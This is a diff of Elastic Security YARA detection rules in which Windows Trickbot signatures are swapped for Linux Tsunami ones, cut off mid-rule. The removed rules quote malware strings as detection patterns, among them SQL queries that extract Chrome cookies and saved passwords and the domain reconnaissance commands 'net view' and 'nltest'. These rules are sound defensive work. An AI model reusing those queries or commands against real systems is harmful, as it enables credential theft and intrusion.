 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L307-L324"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "20a26ed3f0da3a77867597494bf0069a2093ec19b1c5e179c0e7934c1b69d4b9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L281-L299"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2216776ba5c6495d86a13f6a3ce61b655b72a328ca05b3678d1abb7a20829d04"
+		logic_hash = "7c44a0abcd51a6b775fc379b592652ebb10faf16c039ca23b20984183340cada"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c857aa792ef247bfcf81e75fb696498b1ba25c09fc04049223a6dfc09cc064b1"
+		fingerprint = "942a35f7acacf1d07577fe159a34dc7b04e5d07ff32ea13be975cfeea23e34be"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { C0 31 E8 83 7D 0C 00 89 44 24 38 0F 29 44 24 20 0F 29 44 24 10 0F 29 }
+		$a = { F4 89 45 EC 8B 45 EC C9 C3 55 89 E5 57 83 EC 0C EB 1F 8B 45 08 B9 FF FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_997B25A0 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_87Bcb848 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "997b25a0-aeac-4f74-aa87-232c4f8329b6"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "87bcb848-cd8b-478c-87de-5df8c457024c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L326-L343"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "ca688086c4628c64c32a99083d620bcb5373e3100d154331451a3e9f86081aca"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L301-L319"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "575b0dc887d132aa3983e5712b8f642b03762b0685fbd5a32c104bca72871857"
+		logic_hash = "60e8aa7e27ea0bec665075a373ce150c21af4cddfd511b7ec771293126f0006c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0bba1c5284ed0548f51fdfd6fb96e24f92f7f4132caefbf0704efb0b1a64b7c4"
+		fingerprint = "ffd1a95ba4801bb51ce9b688bdb9787d4a8e3bc3a60ad0f52073f5c531bc6df7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 85 D2 74 F0 C6 45 E1 20 8D 4D E1 C6 45 E2 4A C6 45 E3 4A C6 45 }
+		$a = { 65 6D 6F 74 65 00 52 65 6D 6F 74 65 20 49 52 43 20 42 6F 74 00 23 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_B17B33A1 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_Ad60D7E8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "b17b33a1-1021-4980-8ffd-2e7aa4ca2ae4"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "ad60d7e8-0823-4bfa-b823-681c554bf297"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L345-L362"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "7fa69674d1e985bafe310597f23ae80113136768141f0a1931baf88b2509e6ef"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L321-L338"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "1253a8cd1a5230f1ec1f8c7ecd07f89f28acf5c2aa92395c6cb9e635c16a1e25"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "753d15c1ff0cc4cf75250761360bb35280ff0a1a4d34320df354e0329dd35211"
+		fingerprint = "e1ca4c566307238a5d8cd16db8d0d528626e0b92379177b167ce25b4c88d10ce"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 08 53 55 56 57 64 A1 30 00 00 00 89 44 24 10 8B 44 24 10 8B }
+		$a = { 4E 4F 54 49 43 45 20 25 73 20 3A 53 70 6F 6F 66 73 3A 20 25 64 2E 25 64 2E 25 64 2E 25 64 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_23D77Ae5 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_22646C0D : FILE MEMORY
 {
 	meta:
-		description = "Targets importDll64 containing Browser data stealer module"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "23d77ae5-80de-4bb0-8701-ddcaff443dcc"
-		date = "2021-03-28"
-		modified = "2021-08-23"
+		id = "22646c0d-785c-4cf2-b8c8-289189ae14d0"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L364-L396"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "844974a2d3266e1f9ba275520c0e8a5d176df69a0ccd5135b99facf798a5d209"
-		logic_hash = "e5f5cf854ebd0e25fffbd6796217f22223a06937e1cacb33baa105ac41731256"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L340-L358"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "20439a8fc21a94c194888725fbbb7a7fbeef5faf4b0f704559d89f1cd2e57d9d"
+		logic_hash = "548f531429132392f6d9bccff706b56ba87d8e44763116dedca5d0baa5097b92"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d382a99e5eed87cf2eab5e238e445ca0bf7852e40b0dd06a392057e76144699f"
-		threat_name = "Windows.Trojan.Trickbot"
+		fingerprint = "0b1dce4e74536d4d06430aefd0127c740574dcc9a0e5ada42f3d51d97437720f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "/system32/cmd.exe /c \"start microsoft-edge:{URL}\"" ascii fullword
-		$a2 = "SELECT name, value, host_key, path, expires_utc, creation_utc, encrypted_value FROM cookies" ascii fullword
-		$a3 = "attempt %d. Cookies not found" ascii fullword
-		$a4 = "attempt %d. History not found" ascii fullword
-		$a5 = "Cookies version is %d (%d)" ascii fullword
-		$a6 = "attempt %d. Local Storage not found" ascii fullword
-		$a7 = "str+='xie.com.'+p+'.guid='+'{'+components[i]+'}\\n';" ascii fullword
-		$a8 = "Browser exec is: %s" ascii fullword
-		$a9 = "found mozilla key: %s" ascii fullword
-		$a10 = "Version %d is not supported" ascii fullword
-		$a11 = "id %d - %s" ascii fullword
-		$a12 = "prot: %s, scope: %s, port: %d" ascii fullword
-		$a13 = "***** Send %d bytes to callback from %s *****" ascii fullword
-		$a14 = "/chrome.exe {URL}" ascii fullword
+		$a = { CB 01 00 00 55 53 51 52 48 01 FE 56 48 89 FE 48 89 D7 31 DB }
 
 	condition:
-		4 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_5574Be7D : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_019F0E75 : FILE MEMORY
 {
 	meta:
-		description = "Targets injectDll64 containing injection functionality to steal banking credentials"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "5574be7d-7502-4357-8110-2fb4a661b2bd"
-		date = "2021-03-29"
-		modified = "2021-08-23"
+		id = "019f0e75-a766-4778-8337-c5bce478ecd9"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L398-L432"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8c5c0d27153f60ef8aec57def2f88e3d5f9a7385b5e8b8177bab55fa7fac7b18"
-		logic_hash = "ed0fc98c5d628ce38b923e1410eaf7a4a65ecffea42bed35314e30c99a52219b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L360-L378"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "575b0dc887d132aa3983e5712b8f642b03762b0685fbd5a32c104bca72871857"
+		logic_hash = "7a63eb94266b04a31ba67165c512e2e060c3e344665aeed748a51943143b2219"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "23d9b89917a0fc5aad903595b89b650f6dbb0f82ce28ce8bcc891904f62ccf1b"
-		threat_name = "Windows.Trojan.Trickbot"
+		fingerprint = "3b66dcdd89ce564cf81689ace33ee91682972421a9926efa1985118cefebdddc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "webinject64.dll" ascii fullword
-		$a2 = "Mozilla Firefox version: %s" ascii fullword
-		$a3 = "socks=127.0.0.1:" ascii fullword
-		$a4 = "<conf ctl=\"dpost\" file=\"dpost\" period=\"60\"/>" ascii fullword
-		$a5 = "<moduleconfig>" ascii fullword
-		$a6 = "https://%.*s%.*s" ascii fullword
-		$a7 = "http://%.*s%.*s" ascii fullword
-		$a8 = "Chrome version: %s" ascii fullword
-		$a9 = "IE version real: %s" ascii fullword
-		$a10 = "IE version old: %s" ascii fullword
-		$a11 = "Build date: %s %s" ascii fullword
-		$a12 = "EnumDpostServer" ascii fullword
-		$a13 = "ESTR_PASS_" ascii fullword
-		$a14 = "<conf ctl=\"dinj\" file=\"dinj\" period=\"20\"/>" ascii fullword
-		$a15 = "<conf ctl=\"sinj\" file=\"sinj\" period=\"20\"/>" ascii fullword
-		$a16 = "<autoconf>" ascii fullword
+		$a = { 2E 0A 00 2B 73 74 64 00 2B 73 74 6F 70 00 2B 75 6E 6B 6E 6F }
 
 	condition:
-		4 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_1473F0B4 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_7C545Abf : FILE MEMORY
 {
 	meta:
-		description = "Targets mailsearcher64.dll module"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "1473f0b4-a6b5-4b19-a07e-83d32a7e44a0"
-		date = "2021-03-29"
-		modified = "2021-08-23"
+		id = "7c545abf-822d-44bb-8ac9-1b7e4f27698d"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L434-L459"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9cfb441eb5c60ab1c90b58d4878543ee554ada2cceee98d6b867e73490d30fec"
-		logic_hash = "dc13625e58c029c60b8670f8e63cd7786bf3e9705c462f3cbbf5b39e7c02f9a1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L380-L398"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "95691c7ad1d80f7f1b5541e1d1a1dbeba30a26702a4080d256f14edb75851c5d"
+		logic_hash = "fa50ccc4c85417d18a84b7f117f853609c44b17c488a937cdc7495e2d32757f7"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "15438ae141a2ac886b1ba406ba45119da1a616c3b2b88da3f432253421aa8e8b"
-		threat_name = "Windows.Trojan.Trickbot"
+		fingerprint = "4141069d6c41c0c26b53a8a86fd675f09982ca6e99757a04ef95b9ad0b8efefa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "mailsearcher.dll" ascii fullword
-		$a2 = "%s/%s/%s/send/" wide fullword
-		$a3 = "Content-Disposition: form-data; name=\"list\"" ascii fullword
-		$a4 = "<moduleconfig><needinfo name=\"id\"/><needinfo name=\"ip\"/><autostart>no</autostart><autoconf><conf ctl=\"SetConf\" file=\"mail"
-		$a5 = "eriod=\"60\"/></autoconf></moduleconfig>" ascii fullword
-		$a6 = "=Waitu H" ascii fullword
-		$a7 = "Content-Length: %d" ascii fullword
+		$a = { 03 FC DF 40 9C B8 20 07 09 20 35 15 11 03 20 85 }
 
 	condition:
-		2 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_Dcf25Dde : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_32C0B950 : FILE MEMORY
 {
 	meta:
-		description = "Targets networkDll64.dll module containing functionality to gather network and system information"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "dcf25dde-36c4-4a24-aa2b-0b3f42324918"
-		date = "2021-03-29"
-		modified = "2021-08-23"
+		id = "32c0b950-0636-42bb-bc67-1b727985625f"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L461-L502"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ba2a255671d33677cab8d93531eb25c0b1f1ac3e3085b95365a017463662d787"
-		logic_hash = "64d15d92faf0919a8fa1ce6772750cde47eaa24b09cf4243393777334bad9712"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L400-L418"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "214c1caf20ceae579476d3bf97f489484df4c5f1c0c44d37ff9b9066072cd83c"
+		logic_hash = "db077e5916327ca78fcc9dc35f64e5c497dbbe60c4a0c1eb7abb49c555765681"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4088ae29cb3b665ccedf69e9d02c1ff58620d4b589343cd4077983b25c5b479f"
-		threat_name = "Windows.Trojan.Trickbot"
+		fingerprint = "e438287517c3492fa87115a3aa5402fd05f9745b7aed8e251fb3ed9d653984bb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "Host Name - %s" wide fullword
-		$a2 = "Last Boot Up Time - %02u/%02u/%04u %02d.%02d.%02d" wide fullword
-		$a3 = "Install Date - %02u/%02u/%04u %02d.%02d.%02d" wide fullword
-		$a4 = "System Directory - %s" wide fullword
-		$a5 = "OS Version - %s" wide fullword
-		$a6 = "***PROCESS LIST***" wide fullword
-		$a7 = "Product Type - Domain Controller" wide fullword
-		$a8 = "Registered Organization - %s" wide fullword
-		$a9 = "Product Type - Domain Controller" wide fullword
-		$a10 = "Build Type - %s" wide fullword
-		$a11 = "Boot Device - %s" wide fullword
-		$a12 = "Serial Number - %s" wide fullword
-		$a13 = "OS Architecture - %s" wide fullword
-		$a14 = "<moduleconfig><needinfo name=\"id\"/><needinfo name=\"ip\"/><autoconf><conf ctl=\"SetConf\" file=\"dpost\" period=\"1440\"/></au"
-		$a15 = "oduleconfig>" ascii fullword
-		$a16 = "Computer name: %s" wide fullword
-		$a17 = "/c net view /all /domain" ascii fullword
-		$a18 = "/c nltest /domain_trusts" ascii fullword
-		$a19 = "***SYSTEMINFO***" wide fullword
-		$a20 = "***LOCAL MACHINE DATA***" wide fullword
-		$a21 = "Admin Name: %s" wide fullword
-		$a22 = "Domain controller: %s" wide fullword
-		$a23 = "Admin E-mail: %s" wide fullword
+		$a = { 05 20 BC F8 41 B8 20 07 09 20 35 15 11 03 20 85 }
 
 	condition:
-		4 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_46Dc12Dd : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_Cbf50D9C : FILE MEMORY
 {
 	meta:
-		description = "Targets newBCtestDll64 module containing reverse shell functionality"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "46dc12dd-d81a-43a6-b7c3-f59afa1c863e"
-		date = "2021-03-29"
-		modified = "2021-08-23"
+		id = "cbf50d9c-2893-48c9-a2a9-45053f0a174b"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L504-L528"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bf38a787aee5afdcab00b95ccdf036bc7f91f07151b4444b54165bb70d649ce5"
-		logic_hash = "e01209a83f4743cbad7dda01595c053277868bd47208e48214b557ae339b5b3c"
-		score = 50
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L420-L438"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b64d0cf4fc4149aa4f63900e61b6739e154d328ea1eb31f4c231016679fc4aa5"
+		logic_hash = "331a35fb3ecc54022b1d4d05bd64e7c5c6a7997b06dbea3a36c33ccc0a2f7086"
+		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "997fe1c5a06bfffb754051436c48a0538ff2dcbfddf0d865c3a3797252247946"
-		threat_name = "Windows.Trojan.Trickbot"
+		fingerprint = "acb32177d07df40112d99ed0a2b7ed01fbca63df1f63387cf939caa4cf1cf83b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "setconf" ascii fullword
-		$a2 = "<moduleconfig><autostart>yes</autostart><sys>yes</sys><needinfo name = \"id\"/><needinfo name = \"ip\"/><autoconf><conf ctl = \""
-		$a3 = "nf\" file = \"bcconfig\" period = \"90\"/></autoconf></moduleconfig>" ascii fullword
-		$a4 = "<moduleconfig><autostart>yes</autostart><sys>yes</sys><needinfo name = \"id\"/><needinfo name = \"ip\"/><autoconf><conf ctl = \""
-		$a5 = "<addr>" ascii fullword
-		$a6 = "</addr>" ascii fullword
+		$a = { 07 F8 BF 81 9C B8 20 07 09 20 35 15 11 03 20 85 }
 
 	condition:
-		4 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_78A26074 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_40C25A06 : FILE MEMORY
 {
 	meta:
-		description = "Targets psfin64.dll module containing point-of-sale recon functionality"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "78a26074-dc4b-436d-8188-2a3cfdabf6db"
-		date = "2021-03-29"
-		modified = "2021-08-23"
+		id = "40c25a06-5f3c-42c1-9a8c-5c4a1568ff9a"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L530-L564"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8cd75fa8650ebcf0a6200283e474a081cc0be57307e54909ee15f4d04621dde0"
-		logic_hash = "3837c22f7f9d55f03cb0bc1336798f0e2a91549c187b9f5136491cbafd26ce6e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L440-L458"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "61af6bb7be25465e7d469953763be5671f33c197d4b005e4a78227da11ae91e9"
+		logic_hash = "38976911ff9e56fae27fad8b9df01063ed703f43c8220b1fbcef7a3945b3f1ad"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f0446c7e1a497b93720824f4a5b72f23f00d0ee9a1607bc0c1b097109ec132a8"
-		threat_name = "Windows.Trojan.Trickbot"
+		fingerprint = "b45d666e2e7d571e95806a1a2c8e01cd5cd0d71160cbb06b268110d459ee252d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "<moduleconfig><needinfo name=\"id\"/><needinfo name=\"ip\"/><autoconf><conf ctl=\"SetConf\" file=\"dpost\" period=\"14400\"/></a"
-		$a2 = "Dpost servers unavailable" ascii fullword
-		$a3 = "moduleconfig>" ascii fullword
-		$a4 = "ALOHA found: %d" wide fullword
-		$a5 = "BOH found: %d" wide fullword
-		$a6 = "MICROS found: %d" wide fullword
-		$a7 = "LANE found: %d" wide fullword
-		$a8 = "RETAIL found: %d" wide fullword
-		$a9 = "REG found: %d" wide fullword
-		$a10 = "STORE found: %d" wide fullword
-		$a11 = "POS found: %d" wide fullword
-		$a12 = "DOMAIN %s" wide fullword
-		$a13 = "/%s/%s/90" wide fullword
-		$a14 = "CASH found: %d" wide fullword
-		$a15 = "COMPUTERS:" wide fullword
-		$a16 = "TERM found: %d" wide fullword
+		$a = { 20 74 13 9C B8 20 07 09 20 35 15 11 03 20 85 }
 
 	condition:
-		3 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_217B9C97 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_35806Adc : FILE MEMORY
 {
 	meta:
-		description = "Targets pwgrab64.dll module containing functionality use to retrieve local passwords"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "217b9c97-a637-49b8-a652-5a42ea19ee8e"
-		date = "2021-03-29"
-		modified = "2021-08-23"
+		id = "35806adc-9bac-4481-80c8-a673730d5179"
+		date = "2021-12-13"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L566-L601"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1e90a73793017720c9a020069ed1c87879174c19c3b619e5b78db8220a63e9b7"
-		logic_hash = "9b2b8a8154d4aba06029fd35d896331449f7baa961f183fb0cb47e890610ff99"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L460-L478"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "15e7942ebf88a51346d3a5975bb1c2d87996799e6255db9e92aed798d279b36b"
+		logic_hash = "6e9d3e5c0a33208d1b5f4f84f8634955e70bd63395b367cd1ece67798ce5e502"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7d5dcb60526a80926bbaa7e3cd9958719e326a160455095ff9f0315e85b8adf6"
-		threat_name = "Windows.Trojan.Trickbot"
+		fingerprint = "f0b4686087ddda1070b62ade7ad7eb69d712e15f5645aaba24c0f5b124a283ac"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "pwgrab.dll" ascii fullword
-		$a2 = "\\\\.\\pipe\\pidplacesomepipe" ascii fullword
-		$a3 = "\\Google\\Chrome\\User Data\\Default\\Login Data.bak" ascii fullword
-		$a4 = "select origin_url, username_value, password_value, length(password_value) from logins where blacklisted_by_user = 0" ascii fullword
-		$a5 = "<moduleconfig><autostart>yes</autostart><all>yes</all><needinfo name=\"id\"/><needinfo name=\"ip\"/><autoconf><conf ctl=\"dpost"
-		$a6 = "Grab_Passwords_Chrome(0)" ascii fullword
-		$a7 = "Grab_Passwords_Chrome(1)" ascii fullword
-		$a8 = "=\"dpost\" period=\"60\"/></autoconf></moduleconfig>" ascii fullword
-		$a9 = "Grab_Passwords_Chrome(): Can't open database" ascii fullword
-		$a10 = "UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_"
-		$a11 = "Chrome login db copied" ascii fullword
-		$a12 = "Skip Chrome login db copy" ascii fullword
-		$a13 = "Mozilla\\Firefox\\Profiles\\" ascii fullword
-		$a14 = "Grab_Passwords_Chrome() success" ascii fullword
-		$a15 = "No password provided by user" ascii fullword
-		$a16 = "Chrome login db should be copied (copy absent)" ascii fullword
-		$a17 = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2" wide fullword
+		$a = { 85 3C 93 48 1F 03 36 84 C0 4B 28 7F 18 86 13 08 10 1F EC B0 73 }
 
 	condition:
-		4 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_D2110921 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_D74D7F0C : FILE MEMORY
 {
 	meta:
-		description = "Targets shareDll64.dll module containing functionality use to spread Trickbot across local networks"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "d2110921-b957-49b7-8a26-4c0b7d1d58ad"
-		date = "2021-03-29"
-		modified = "2021-08-23"
+		id = "d74d7f0c-70f8-4dd7-aaf4-fd5ab94bb8b2"
+		date = "2021-12-13"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L603-L632"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "05ef40f7745db836de735ac73d6101406e1d9e58c6b5f5322254eb75b98d236a"
-		logic_hash = "39ef17836f29c358f596e0047d582b5f1d1af523c8f6354ac8a783eda9969554"
